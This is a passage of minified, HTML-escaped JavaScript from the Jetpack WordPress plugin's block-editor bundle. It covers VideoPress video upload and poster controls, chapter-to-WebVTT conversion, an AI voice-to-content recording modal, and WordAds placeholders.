Selected&quot;})})},h=e=&gt;{const{onSelectPoster:t,onRemovePoster:s}=e;return(0,u.jsxs)(o.BaseControl,{className:(0,c.A)(e.className,&quot;editor-video-poster-control&quot;),children:[(0,u.jsx)(p,{...e}),(0,u.jsx)(n.MediaUpload,{title:__(&quot;Select Poster Image&quot;,&quot;jetpack&quot;),onSelect:t,allowedTypes:d,render:({open:e})=&gt;(0,u.jsxs)(&quot;div&quot;,{className:&quot;poster-selector__buttons&quot;,children:[(0,u.jsx)(o.Button,{onClick:s,variant:&quot;link&quot;,isDestructive:!0,children:__(&quot;Remove Poster Image&quot;,&quot;jetpack&quot;)}),(0,u.jsx)(o.Button,{variant:&quot;secondary&quot;,onClick:e,children:__(&quot;Select Poster Image&quot;,&quot;jetpack&quot;)})]})})]})},m=e=&gt;{const{file:t,onSelectPoster:s,onRemovePoster:i,videoPosterImageData:c,title:p,onChangeTitle:m,onVideoFrameSelected:g}=e,[f,b]=(0,a.useState)(0),[v,k]=(0,a.useState)(!0),y=(0,a.useRef)(null),x=(0,a.useRef)(null),j=()=&gt;{k(!1)};(0,a.useEffect)(()=&gt;{null!==t&amp;&amp;y&amp;&amp;(y.current.src=URL.createObjectURL(t))},[t,y]);const w={};return c&amp;&amp;(w.display=&quot;none&quot;),(0,u.jsx)(u.Fragment,{children:(0,u.jsxs)(&quot;div&quot;,{className:&quot;uploading-editor&quot;,children:[(0,u.jsx)(&quot;div&quot;,{className:&quot;uploading-editor__summary&quot;}),(0,u.jsxs)(&quot;div&quot;,{className:&quot;uploading-editor__fields&quot;,children:[(0,u.jsx)(o.TextControl,{label:__(&quot;Video title&quot;,&quot;jetpack&quot;),className:&quot;uploading-editor__title&quot;,onChange:m,value:p,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,u.jsx)(&quot;div&quot;,{className:&quot;uploading-editor__content&quot;,children:(0,u.jsxs)(o.BaseControl,{__nextHasNoMarginBottom:!0,children:[(0,u.jsx)(o.BaseControl.VisualLabel,{children:__(&quot;Video poster (optional)&quot;,&quot;jetpack&quot;)}),v?(0,u.jsxs)(u.Fragment,{children:[(0,u.jsxs)(&quot;div&quot;,{className:&quot;uploading-editor__video-container&quot;,children:[(0,u.jsxs)(&quot;div&quot;,{className:&quot;uploading-editor__video-poster-wrapper&quot;,children:[c&amp;&amp;(0,u.jsx)(h,{onSelectPoster:s,onRemovePoster:i,videoPosterImageUrl:c.url}),(0,u.jsx)(&quot;video&quot;,{ref:y,muted:!0,className:&quot;uploading-editor__video&quot;,onDurationChange:e=&gt;{const t=e.target.duration;b(t),y.current&amp;&amp;(y.current.currentTime=t/2)},onError:j,onLoadedMetadata:e=&gt;{e.target.videoHeight||j()},style:w})]}),!c&amp;&amp;(0,u.jsx)(l.A,{className:&quot;uploading-editor__play-icon&quot;,icon:r.ud})]}),(0,u.jsx)(&quot;span&quot;,{style:w,children:(0,u.jsx)(o.RangeControl,{className:&quot;uploading-editor__range&quot;,min:&quot;0&quot;,step:&quot;0.1&quot;,max:f,showTooltip:!1,withInputField:!1,onChange:e=&gt;{g(1e3*e),y.current&amp;&amp;(y.current.currentTime=e)},__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})}),(0,u.jsx)(&quot;span&quot;,{className:&quot;uploading-editor__scrubber-help&quot;,style:w,children:(0,a.createInterpolateElement)(__(&quot;This is how the video will look. Use the slider to choose a poster or &lt;a&gt;select a custom one&lt;/a&gt;.&quot;,&quot;jetpack&quot;),{a:(0,u.jsx)(n.MediaUpload,{title:__(&quot;Select Poster Image&quot;,&quot;jetpack&quot;),onSelect:s,allowedTypes:d,render:({open:e})=&gt;(0,u.jsx)(&quot;a&quot;,{className:&quot;uploading-editor__upload-link&quot;,onClick:e,onKeyDown:e,ref:x,role:&quot;button&quot;,tabIndex:0,children:__(&quot;select a custom one&quot;,&quot;jetpack&quot;)})})})})]}):(0,u.jsx)(h,{onSelectPoster:s,videoPosterImageUrl:c?c.url:null})]})})]})]})})}},17900(e,t,s){&quot;use strict&quot;;s.d(t,{e:()=&gt;n});var r=s(93832);const n=(e,{autoplay:t,controls:s,loop:n,muted:o,playsinline:a,poster:i,preload:l,seekbarColor:c,seekbarPlayedColor:u,seekbarLoadingColor:d,useAverageColor:p})=&gt;{if(!e)return null;const h={resizeToParent:!0,cover:!0,...t&amp;&amp;{autoPlay:!0},...!s&amp;&amp;{controls:!1},...n&amp;&amp;{loop:!0},...o&amp;&amp;{muted:!0,persistVolume:!1},...a&amp;&amp;{playsinline:!0},...i&amp;&amp;{posterUrl:i},...&quot;&quot;!==l&amp;&amp;{preloadContent:l},...&quot;&quot;!==c&amp;&amp;{sbc:c},...&quot;&quot;!==u&amp;&amp;{sbpc:u},...&quot;&quot;!==d&amp;&amp;{sblc:d},...p&amp;&amp;{useAverageColor:!0}};return(0,r.addQueryArgs)(`https://videopress.com/v/${e}`,h)}},47960(e,t,s){&quot;use strict&quot;;s.d(t,{QW:()=&gt;l,T3:()=&gt;i,Zz:()=&gt;a,x1:()=&gt;c});s(74997);var r=s(13022),n=s(74628);const o=e=&gt;{const t=n.C1.reduce((e,{className:t})=&gt;(e[t]=!1,e),{&quot;wp-has-aspect-ratio&quot;:!1});return(0,r.A)(e,t)};function a(e,t=&quot;&quot;,s=!0){if(!s)return o(t);const a=document.implementation.createHTMLDocument(&quot;&quot;);a.body.innerHTML=e;const i=a.body.querySelector(&quot;iframe&quot;);if(i&amp;&amp;i.height&amp;&amp;i.width){const e=(i.width/i.height).toFixed(2);for(let s=0;s&lt;n.C1.length;s++){const a=n.C1[s];if(e&gt;=a.ratio)return(0,r.A)(o(t),a.className,&quot;wp-has-aspect-ratio&quot;)}}return t}const i=e=&gt;e.replace(/\.[^/.]+$/,&quot;&quot;),l=e=&gt;{if(!e||&quot;string&quot;!=typeof e)return null;const t=e.match(/^https?:\/\/(?&lt;host&gt;video(?:\.word|s\.files\.word)?press\.com)(?:\/v|\/embed)?\/(?&lt;guid&gt;[a-zA-Z\d]{8})/);return t?.groups?.guid?t.groups.guid:null},c=e=&gt;{const{guid:t,videoPressTracks:s,isVideoPressExample:r}=e;if(!t?.length)return!1;if(!Array.isArray(s))return!1;return!(!Object.keys(e).includes(&quot;isVideoPressExample&quot;)||&quot;boolean&quot;!=typeof r)}},58731(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;g});var r=s(85985),n=s(94715),o=s(74997),a=s(56427),i=s(47143),l=s(43656),c=s(27723),u=s(47960),d=s(99650),p=s(10790);const __=c.__,h={instances:[]},m=(e=[],t=!1,s=0)=&gt;{if(t&amp;&amp;(h.instances=[]),e.forEach(e=&gt;{if(e.innerBlocks.length)return void m(e.innerBlocks,!1,s+1);const{clientId:t,name:r,attributes:n}=e;&quot;core/video&quot;===r&amp;&amp;(0,u.x1)(n)&amp;&amp;h.instances.push({clientId:t,name:r,attributes:n})}),0===s)return h.instances};function g({clientId:e,attributes:t}){const s=(0,i.useSelect)(e=&gt;e(l.store).getCurrentPostId()),{getBlocks:c}=(0,i.useSelect)(n.store),{replaceBlock:h}=(0,i.useDispatch)(n.store),{tracks:g}=(0,r.st)();return(0,p.jsxs)(&quot;div&quot;,{className:d.A.wrapper,children:[(0,p.jsx)(a.Notice,{status:&quot;info&quot;,isDismissible:!1,className:d.A[&quot;conversion-notice&quot;],children:__(&quot;You can transform this post&#039;s video blocks to the new VideoPress block to take advantage of new features, such as adding chapters directly in the description or hiding the video&#039;s share menu.&quot;,&quot;jetpack&quot;)}),(0,p.jsx)(a.Button,{variant:&quot;primary&quot;,onClick:()=&gt;{const r=m(c(),!0);r?.length&amp;&amp;(r.find(t=&gt;t.clientId===e)||r.push({clientId:e,name:&quot;core/video&quot;,currentBlockAttributes:t}),r.forEach(e=&gt;{const{clientId:t,name:r,attributes:n}=e;&quot;core/video&quot;===r&amp;&amp;(0,u.x1)(n)&amp;&amp;(h(t,(0,o.createBlock)(&quot;videopress/video&quot;,n)),g.recordEvent(&quot;jetpack_editor_videopress_block_manual_conversion_click&quot;,{post_id:s}))}))},children:__(&quot;Transform blocks to VideoPress&quot;,&quot;jetpack&quot;)})]})}},55159(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(29491),o=s(47960),a=s(58731),i=s(10790);const l=(0,n.createHigherOrderComponent)(e=&gt;t=&gt;(0,o.x1)(t.attributes)?(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(r.InspectorControls,{children:(0,i.jsx)(a.A,{clientId:t.clientId,attributes:t.attributes})}),(0,i.jsx)(e,{...t})]}):(0,i.jsx)(e,{...t}))},51983(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(85985),n=s(55159);function o(e,t){if(&quot;core/video&quot;!==t)return e;const{available:s}=(0,r.FB)(&quot;videopress/video&quot;);return s?{...e,edit:(0,n.A)(e.edit)}:e}},5146(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(56427),n=s(27723),o=s(67858),a=s(84605),i=(s(73823),s(10790));const __=n.__,l=&quot;videopress/video-chapters&quot;,c=!!window?.Jetpack_Editor_Initial_State?.available_blocks[l];function u({isRequestingVideoItem:e}){const{attributes:t,setAttributes:s}=(0,a.A)();if(!c)return null;const{title:n,description:u}=t,d=(0,o.m)(l),p=u?.length?u.split(&quot;\n&quot;).map(e=&gt;Math.ceil(e.length/31)||1).reduce((e,t)=&gt;e+t,0):4,h=Math.min(12,Math.max(p,4));return(0,i.jsxs)(r.PanelBody,{title:__(&quot;Details&quot;,&quot;jetpack&quot;),className:d?&quot;is-beta&quot;:&quot;&quot;,children:[(0,i.jsx)(r.TextControl,{label:__(&quot;Title&quot;,&quot;jetpack&quot;),value:n,placeholder:__(&quot;Video title&quot;,&quot;jetpack&quot;),onChange:e=&gt;{s({title:e})},disabled:e,__next40pxDefaultSize:!0}),(0,i.jsx)(r.TextareaControl,{label:__(&quot;Description&quot;,&quot;jetpack&quot;),value:u,placeholder:__(&quot;Video description&quot;,&quot;jetpack&quot;),onChange:e=&gt;{s({description:e})},disabled:e,rows:h})]})}},83112(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(94715),n=s(29491),o=s(86087),a=s(5146),i=s(52753),l=s(95501),c=s(7345),u=s(10790);const d=(0,n.createHigherOrderComponent)(e=&gt;t=&gt;{const{attributes:s,setAttributes:n}=t,[d,p]=(0,i.A)(s?.id),[h]=(0,l.n)(s);return(0,o.useEffect)(()=&gt;{if(!d)return;const e={};d?.title&amp;&amp;(e.title=d.title),d?.description&amp;&amp;(e.description=d.description),Object.keys(e).length&amp;&amp;(n(e),h(e))},[d,n,h]),c.j&amp;&amp;&quot;core/video&quot;!==!t.name&amp;&amp;t.attributes?.guid?(0,u.jsxs)(u.Fragment,{children:[(0,u.jsx)(r.InspectorControls,{children:(0,u.jsx)(a.A,{isRequestingVideoItem:p})}),(0,u.jsx)(e,{...t})]}):(0,u.jsx)(e,{...t})})},84605(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(47143);function o(){const{clientId:e,attributes:t}=(0,n.useSelect)(e=&gt;{const t=e(r.store).getSelectedBlockClientId();return{clientId:t,attributes:t?e(&quot;core/block-editor&quot;).getBlockAttributes(t):void 0}}),{updateBlockAttributes:s}=(0,n.useDispatch)(r.store);return{clientId:e,attributes:t,setAttributes:t=&gt;s(e,t)}}},95501(e,t,s){&quot;use strict&quot;;s.d(t,{n:()=&gt;g});var r=s(1455),n=s.n(r),o=s(29491),a=s(3582),i=s(47143),l=s(43656),c=s(86087),u=s(27723),d=s(96247),p=s(17900),h=s(17204),m=s(97393);const __=u.__;function g(e){const{id:t,title:s,description:r,guid:u}=e,g=(0,i.useSelect)(e=&gt;e(l.store).isSavingPost(),[]),f=(0,o.usePrevious)(g),b=(0,i.useDispatch)(a.store).invalidateResolution,[v,k]=(0,c.useState)(),y=(0,c.useCallback)(e=&gt;{k(t=&gt;({...t,...e}))},[]);(0,c.useEffect)(()=&gt;{k({title:s,description:r})},[]);const x=function(e){return t=&gt;new Promise((s,r)=&gt;{n()({path:&quot;/wpcom/v2/videopress/meta&quot;,method:&quot;POST&quot;,data:{id:e,...t}}).then(e=&gt;{if(200!==e?.data)return r(e);s(e)}).catch(r)})}(t);return(0,c.useEffect)(()=&gt;{if(!g||f)return;if(!t)return;const n={};if(v?.title!==s&amp;&amp;(n.title=s),v?.description!==r&amp;&amp;(n.description=r),!Object.keys(n).length)return;if(x(n).then(()=&gt;y({title:s,description:r})),!n?.description?.length)return;const o=(0,h.Ay)(n.description);if(!o?.length)return;const a={label:__(&quot;English&quot;,&quot;jetpack&quot;),srcLang:&quot;en&quot;,kind:&quot;chapters&quot;,tmpFile:(0,m.Ay)(n.description)};(0,d.n)(a,u).then(()=&gt;{const t=(0,p.e)(u,e);b(&quot;getEmbedPreview&quot;,[t])})},[g,f,s,v?.title,v?.description,r,x,y,e,b,t,u]),[y]}},52753(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(1455),n=s.n(r),o=s(86087);function a(e){const[t,s]=(0,o.useState)({}),[r,a]=(0,o.useState)(!1);return(0,o.useEffect)(()=&gt;{e&amp;&amp;(a(!0),async function(){try{const t=await n()({path:`/wp/v2/media/${e}`});s(t?.jetpack_videopress||{}),a(!1)}catch(e){throw a(!1),new Error(e)}}())},[e]),[t,r]}},7345(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o,j:()=&gt;n});var r=s(83112);const n=!!window?.Jetpack_Editor_Initial_State?.available_blocks[&quot;videopress/video-chapters&quot;];function o(e,t){if(!n)return e;if(&quot;core/video&quot;!==t)return e;const s={...e.attributes,title:{type:&quot;string&quot;},description:{type:&quot;string&quot;}};return{...e,attributes:s,edit:(0,r.A)(e.edit)}}},17204(e,t,s){&quot;use strict&quot;;function r(e){return e.split(&quot;\n&quot;).map(e=&gt;function(e){const t=/(?&lt;timeBlock&gt;\(?(?&lt;time&gt;\d{1,2}:\d{2}:\d{2}|\d{1,2}:\d{2})\)?)/.exec(e);if(null==t||null==t.groups)return null;const{groups:{timeBlock:s,time:r}}=t,n=e.indexOf(s),o=(n&lt;(e.length-s.length)/2?e.substring(n+s.length,e.length):e.substring(0,n)).trim().replace(/(\s-$)|(^-\s)/,&quot;&quot;),a=r.split(&quot;:&quot;);return 1===a[0].length&amp;&amp;(a[0]=`0${a[0]}`),2===a.length&amp;&amp;a.unshift(&quot;00&quot;),{startAt:a.join(&quot;:&quot;),title:o}}(e)).filter(e=&gt;null!==e).sort((e,t)=&gt;e.startAt.localeCompare(t.startAt))}s.d(t,{$k:()=&gt;r,Ay:()=&gt;r})},97393(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;o});var r=s(17204);function n(e){const t=Math.floor(e/36e5);let s=e-36e5*t;const r=Math.floor(s/6e4);s-=6e4*r;return[t,r,Math.floor(s/1e3)].map(e=&gt;e&lt;10?`0${e}`:e).join(&quot;:&quot;)}function o(e,t){const s=function(e,t=359999e3){const s=(0,r.$k)(e);if(0===s.length)return null;let o=&quot;WEBVTT\n&quot;,a=1;for(const[e,r]of s.entries()){const i=0===e?&quot;000&quot;:&quot;001&quot;,l=e&lt;s.length-1?s[e+1].startAt:n(t);o+=`\n${a++}\n${r.startAt}.${i} --\x3e ${l}.000\n${r.title}\n`}return o}(e,t);return s?new File([s],&quot;chapters.vtt&quot;,{type:&quot;text/vtt&quot;}):null}},84854(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(96865),n=s(56427),o=s(27723),a=s(10790);const __=o.__;function i({state:e,onUpload:t,onCancel:s,onRecord:o,onPause:i,onResume:l,onDone:c}){return(0,a.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__action-buttons&quot;,children:[[&quot;inactive&quot;,&quot;error&quot;,&quot;validating&quot;].includes(e)&amp;&amp;(0,a.jsx)(n.Button,{className:&quot;jetpack-ai-voice-to-content__button&quot;,icon:r.Vo,variant:&quot;secondary&quot;,onClick:o,children:__(&quot;Begin recording&quot;,&quot;jetpack&quot;)}),[&quot;recording&quot;].includes(e)&amp;&amp;(0,a.jsx)(n.Button,{className:&quot;jetpack-ai-voice-to-content__button&quot;,icon:r.ni,variant:&quot;secondary&quot;,onClick:i,children:__(&quot;Pause recording&quot;,&quot;jetpack&quot;)}),[&quot;paused&quot;].includes(e)&amp;&amp;(0,a.jsx)(n.Button,{className:&quot;jetpack-ai-voice-to-content__button&quot;,icon:r.Vo,variant:&quot;secondary&quot;,onClick:l,children:__(&quot;Resume recording&quot;,&quot;jetpack&quot;)}),[&quot;inactive&quot;,&quot;error&quot;,&quot;validating&quot;].includes(e)&amp;&amp;(0,a.jsx)(n.FormFileUpload,{accept:&quot;.mp3,.mpeg,.mpga,.ogg,.flac,.m4a,.mp4,.wav,.wave,.webm&quot;,onChange:t,className:&quot;jetpack-ai-voice-to-content__button is-secondary&quot;,children:__(&quot;Upload audio&quot;,&quot;jetpack&quot;)}),[&quot;recording&quot;,&quot;paused&quot;].includes(e)&amp;&amp;(0,a.jsx)(n.Button,{className:&quot;jetpack-ai-voice-to-content__button&quot;,variant:&quot;primary&quot;,onClick:c,children:__(&quot;Done&quot;,&quot;jetpack&quot;)}),[&quot;recording&quot;,&quot;paused&quot;,&quot;processing&quot;].includes(e)&amp;&amp;(0,a.jsx)(n.Button,{className:&quot;jetpack-ai-voice-to-content__button&quot;,variant:&quot;secondary&quot;,onClick:s,children:__(&quot;Cancel&quot;,&quot;jetpack&quot;)})]})}},41004(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(96865),n=s(27723),o=s(73723),a=s(10790);const __=n.__;function i({state:e,error:t=null,analyser:s,duration:n=0}){return&quot;inactive&quot;===e?(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__information&quot;,children:__(&quot;File size limit: 25MB. Recording time limit: 25 minutes.&quot;,&quot;jetpack&quot;)}):&quot;recording&quot;===e?(0,a.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__audio&quot;,children:[(0,a.jsx)(r.z3,{className:&quot;jetpack-ai-voice-to-content__audio--duration&quot;,duration:n}),(0,a.jsx)(o.A,{analyser:s,paused:!1}),(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-voice-to-content__information&quot;,children:__(&quot;Recording…&quot;,&quot;jetpack&quot;)})]}):&quot;paused&quot;===e?(0,a.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__audio&quot;,children:[(0,a.jsx)(r.z3,{className:&quot;jetpack-ai-voice-to-content__audio--duration&quot;,duration:n}),(0,a.jsx)(o.A,{analyser:s,paused:!0}),(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-voice-to-content__information&quot;,children:__(&quot;Paused&quot;,&quot;jetpack&quot;)})]}):&quot;processing&quot;===e?(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__information&quot;,children:__(&quot;Uploading and transcribing audio…&quot;,&quot;jetpack&quot;)}):&quot;validating&quot;===e?(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__information&quot;,children:__(&quot;Validating audio…&quot;,&quot;jetpack&quot;)}):&quot;error&quot;===e?(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__information--error&quot;,children:t}):null}},73723(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(86087),n=s(10790);function o({analyser:e,paused:t=!1}){const s=(0,r.useRef)(null),o=(0,r.useRef)(t),a=(0,r.useRef)(null);return(0,r.useEffect)(()=&gt;{o.current=t},[t]),(0,r.useEffect)(()=&gt;{e&amp;&amp;s.current&amp;&amp;(a.current&amp;&amp;a.current(),a.current=function(e,t,s){const r=t.getContext(&quot;2d&quot;);let n=!1;if(!r)return;e.fftSize=Math.pow(2,13);const o=e.fftSize,a=new Float32Array(o),i=o/10,{width:l,height:c}=t,u=c/2;r.lineWidth=4,r.lineCap=&quot;round&quot;,r.strokeStyle=getComputedStyle(t).getPropertyValue(&quot;--jp-green-50&quot;)||&quot;#008710&quot;;const d=()=&gt;{r.clearRect(0,0,l,c),e.getFloatTimeDomainData(a);for(let e=1;e&lt;=10;e++){let t=0;s.current||(t=a.slice(e*i,(e+1)*i).reduce((e,t)=&gt;e+t,0)/i,t*=2048,t=Math.abs(t),t=Math.min(16,Math.max(0,t))),r.beginPath(),r.moveTo(2+6*e,u-t),r.lineTo(2+6*e,u+t),r.stroke()}setTimeout(()=&gt;{n||requestAnimationFrame(d)},50)};return d(),()=&gt;{n=!0}}(e,s.current,o))},[e,s,o]),(0,r.useEffect)(()=&gt;()=&gt;{a.current&amp;&amp;a.current()},[]),(0,n.jsx)(&quot;canvas&quot;,{className:&quot;jetpack-ai-voice-to-content__oscilloscope&quot;,width:70,height:38,ref:s})}},42279(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;b});var r=s(96865),n=s(50723),o=s(85985),a=s(94715),i=s(56427),l=s(47143),c=s(86087),u=s(27723),d=s(1866),p=s(84854),h=s(41004),m=s(59926),g=s(22228),f=s(10790);const __=u.__;function b({clientId:e}){const[t,s]=(0,c.useState)(null),{removeBlock:u}=(0,l.useDispatch)(a.store),{getBlocks:b}=(0,l.useSelect)(a.store,[]),v=(0,c.useCallback)(()=&gt;{setTimeout(()=&gt;{u(e)},100)},[u,e]),{tracks:k}=(0,o.st)(),{isValidatingAudio:y,validateAudio:x}=(0,r.rr)(),{upsertTranscription:j}=(0,g.A)(),{isCreatingTranscription:w,createTranscription:_,cancelTranscription:C}=(0,m.A)({onReady:e=&gt;{j(e);const t=b();for(let e=0;e&lt;2;e++)&quot;core/paragraph&quot;===t[e].name&amp;&amp;&quot;&quot;===t[e].attributes?.content&amp;&amp;u(String(t[e].clientId));A()},onUpdate:e=&gt;{j(e)},onError:e=&gt;{T(e)}}),A=()=&gt;{C(),v()},{state:S,controls:E,error:N,onError:T,duration:B,analyser:P}=(0,r.be)({onDone:e=&gt;{I(e)}}),I=(0,c.useCallback)(e=&gt;{e&amp;&amp;s(e)},[s]);(0,c.useEffect)(()=&gt;{t&amp;&amp;x(t,e=&gt;{k.recordEvent(&quot;jetpack_ai_voice_to_content_transcription_started&quot;,{post_processing_action:r.uH,type:e.isFile?&quot;upload&quot;:&quot;record&quot;,audio_duration:e.duration,audio_file_size:e.size}),_(t,r.uH)},T)},[t,k,x,_,T]);const{start:M,pause:L,resume:R,stop:D,reset:F}=E,O=(0,c.useCallback)(e=&gt;{if(e.currentTarget.files.length&gt;0){const t=e.currentTarget.files[0];I(t)}},[I]),z=(0,c.useCallback)(()=&gt;{C(),F()},[C,F]),U=(0,c.useCallback)(()=&gt;{M(1e3)},[M]),H=(0,c.useCallback)(()=&gt;{L()},[L]),q=(0,c.useCallback)(()=&gt;{R()},[R]),V=(0,c.useCallback)(()=&gt;{D()},[D]),$=((e,t,s)=&gt;t?&quot;validating&quot;:e?&quot;processing&quot;:s)(w,y,S);return(0,f.jsx)(i.Modal,{onRequestClose:A,title:__(&quot;Jetpack AI Voice to content&quot;,&quot;jetpack&quot;),className:&quot;jetpack-ai-voice-to-content__modal&quot;,shouldCloseOnEsc:!1,shouldCloseOnClickOutside:!1,children:(0,f.jsx)(n.Ay,{children:(0,f.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__wrapper&quot;,children:[(0,f.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__body&quot;,children:[(0,f.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-voice-to-content__description&quot;,children:__(&quot;Transform your spoken words into a post ready to publish with AI.&quot;,&quot;jetpack&quot;)}),(0,f.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__contextual-row&quot;,children:(0,f.jsx)(h.A,{state:$,error:N,duration:B,analyser:P})}),(0,f.jsx)(p.A,{state:$,onUpload:O,onCancel:z,onRecord:U,onPause:H,onResume:q,onDone:V})]}),(0,f.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-voice-to-content__footer&quot;,children:(0,f.jsxs)(i.Button,{variant:&quot;link&quot;,className:&quot;jetpack-ai-voice-to-content__feedback-button&quot;,href:&quot;https://a8c.slack.com/archives/C054LN8RNVA&quot;,target:&quot;_blank&quot;,children:[(0,f.jsx)(&quot;span&quot;,{children:__(&quot;Provide feedback&quot;,&quot;jetpack&quot;)}),(0,f.jsx)(i.Icon,{icon:d.A,className:&quot;icon&quot;})]})})]})})})}},72718(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(15210),o=s(42279);s(83091);(0,r.M)(n,{edit:o.A,save:()=&gt;null})},59926(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(96865),n=s(86087),o=s(10067);const a=s.n(o)()(&quot;voice-to-content:use-transcription-creator&quot;),i=&quot;voice-to-content&quot;;function l({onReady:e,onUpdate:t,onError:s}){const o=(0,n.useRef)(null),l=(0,n.useRef)(null),{processTranscription:c,cancelTranscriptionProcessing:u,isProcessingTranscription:d}=(0,r.xA)({feature:i,onReady:e,onUpdate:t,onError:t=&gt;{if(o.current)return e(o.current);a(&quot;Transcription post-processing error: &quot;,t)}}),p=(0,n.useCallback)(e=&gt;{o.current=e,l.current&amp;&amp;c(l.current,e)},[c]),{transcribeAudio:h,cancelTranscription:m,isTranscribingAudio:g}=(0,r.E0)({feature:i,onReady:p,onError:s});return{isCreatingTranscription:g||d,createTranscription:(0,n.useCallback)((e,t)=&gt;{if(e&amp;&amp;t)return l.current=t,h(e)},[h]),cancelTranscription:(0,n.useCallback)(()=&gt;{m(),u()},[m,u])}}},22228(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(96865),n=s(74997),o=s(47143),a=s(86087),i=s(10067);const l=s.n(i)()(&quot;voice-to-content:use-transcription-inserter&quot;);function c(){const{updateBlockAttributes:e,insertBlocks:t,replaceInnerBlocks:s}=(0,o.useDispatch)(&quot;core/block-editor&quot;),i=(0,a.useRef)([]);return{upsertTranscription:(0,a.useCallback)(o=&gt;{l(&quot;Upserting transcription&quot;);const a=(0,r._E)({content:o||&quot;&quot;}),c=(0,n.rawHandler)({HTML:a});for(let r=0;r&lt;c.length;r++)if(r&lt;i.current.length){const t=i.current[r].clientId,n=i.current[r].attributes?.content;c[r].attributes?.content&amp;&amp;n!==c[r].attributes?.content&amp;&amp;e(t,{content:c[r].attributes.content}),c[r].innerBlocks.length&gt;0&amp;&amp;s(t,c[r].innerBlocks)}else t([c[r]],void 0,void 0,!0,null),i.current.push(c[r])},[i,t,e,s])}}},91725(e,t,s){&quot;use strict&quot;;s.d(t,{e:()=&gt;c});var r=s(85985),n=s(56427),o=s(27723),a=s(16344),i=s(10790);const __=o.__,l=(0,r.sh)(a),c=({changeStatus:e,isLoading:t,isModuleActive:s})=&gt;(0,i.jsxs)(n.Placeholder,{icon:l,instructions:__(&quot;You&#039;ll need to activate the WordAds feature to use this block.&quot;,&quot;jetpack&quot;),label:a.title,children:[(0,i.jsx)(n.Button,{disabled:s||t,isBusy:t,onClick:()=&gt;e(!0),variant:&quot;secondary&quot;,children:t?__(&quot;Activating WordAds&quot;,&quot;jetpack&quot;):__(&quot;Activate WordAds&quot;,&quot;jetpack&quot;,0)}),(0,i.jsx)(&quot;div&quot;,{className:&quot;membership-button__disclaimer&quot;,children:(0,i.jsx)(n.ExternalLink,{href:&quot;https://jetpack.com/support/ads/&quot;,children:__(&quot;Learn more about the WordAds feature.&quot;,&quot;jetpack&quot;)})})]})},78473(e,t,s){&quot;use strict&quot;;s.d(t,{B:()=&gt;a});var r=s(11876),n=s(56427),o=s(10790);const a=()=&gt;(0,o.jsx)(n.Placeholder,{children:(0,o.jsxs)(n.Flex,{gap:2,direction:&quot;column&quot;,style:{width:&quot;100%&quot;},children:[(0,o.jsxs)(n.Flex,{gap:4,children:[(0,o.jsx)(n.FlexItem,{children:(0,o.jsx)(r.A,{width:30,height:30})}),(0,o.jsx)(n.FlexBlock,{children:(0,o.jsx)(r.A,{width:&quot;90%&quot;,height:30})})]}),(0,o.jsx)(n.Flex,{style:{marginTop:12},children:(0,o.jsx)(n.FlexBlock,{children:(0,o.jsx)(r.A,{height:30,width:&quot;60%&quot;})})}),(0,o.jsx)(n.Flex,{style:{marginTop:12},children:(0,o.jsx)(n.FlexBlock,{children:(0,o.jsx)(r.A,{width:150,height:50})})}),(0,o.jsx)(n.Flex,{style:{marginTop:18},children:(0,o.jsx)(n.FlexBlock,{children:(0,o.jsx)(r.A,{width:&quot;90%&quot;,height:16})})})]})})},78458(e,t,s){&quot;use strict&quot;;s.d(t,{H:()=&gt;a});var r=s(56427),n=s(27723),o=s(10790);const __=n.__,a=[{height:250,icon:(0,o.jsxs)(r.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,o.jsx)(r.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,o.jsx)(r.Path,{d:&quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14zm-7-2h2V7h-4v2h2z&quot;})]}),name:__(&quot;Rectangle 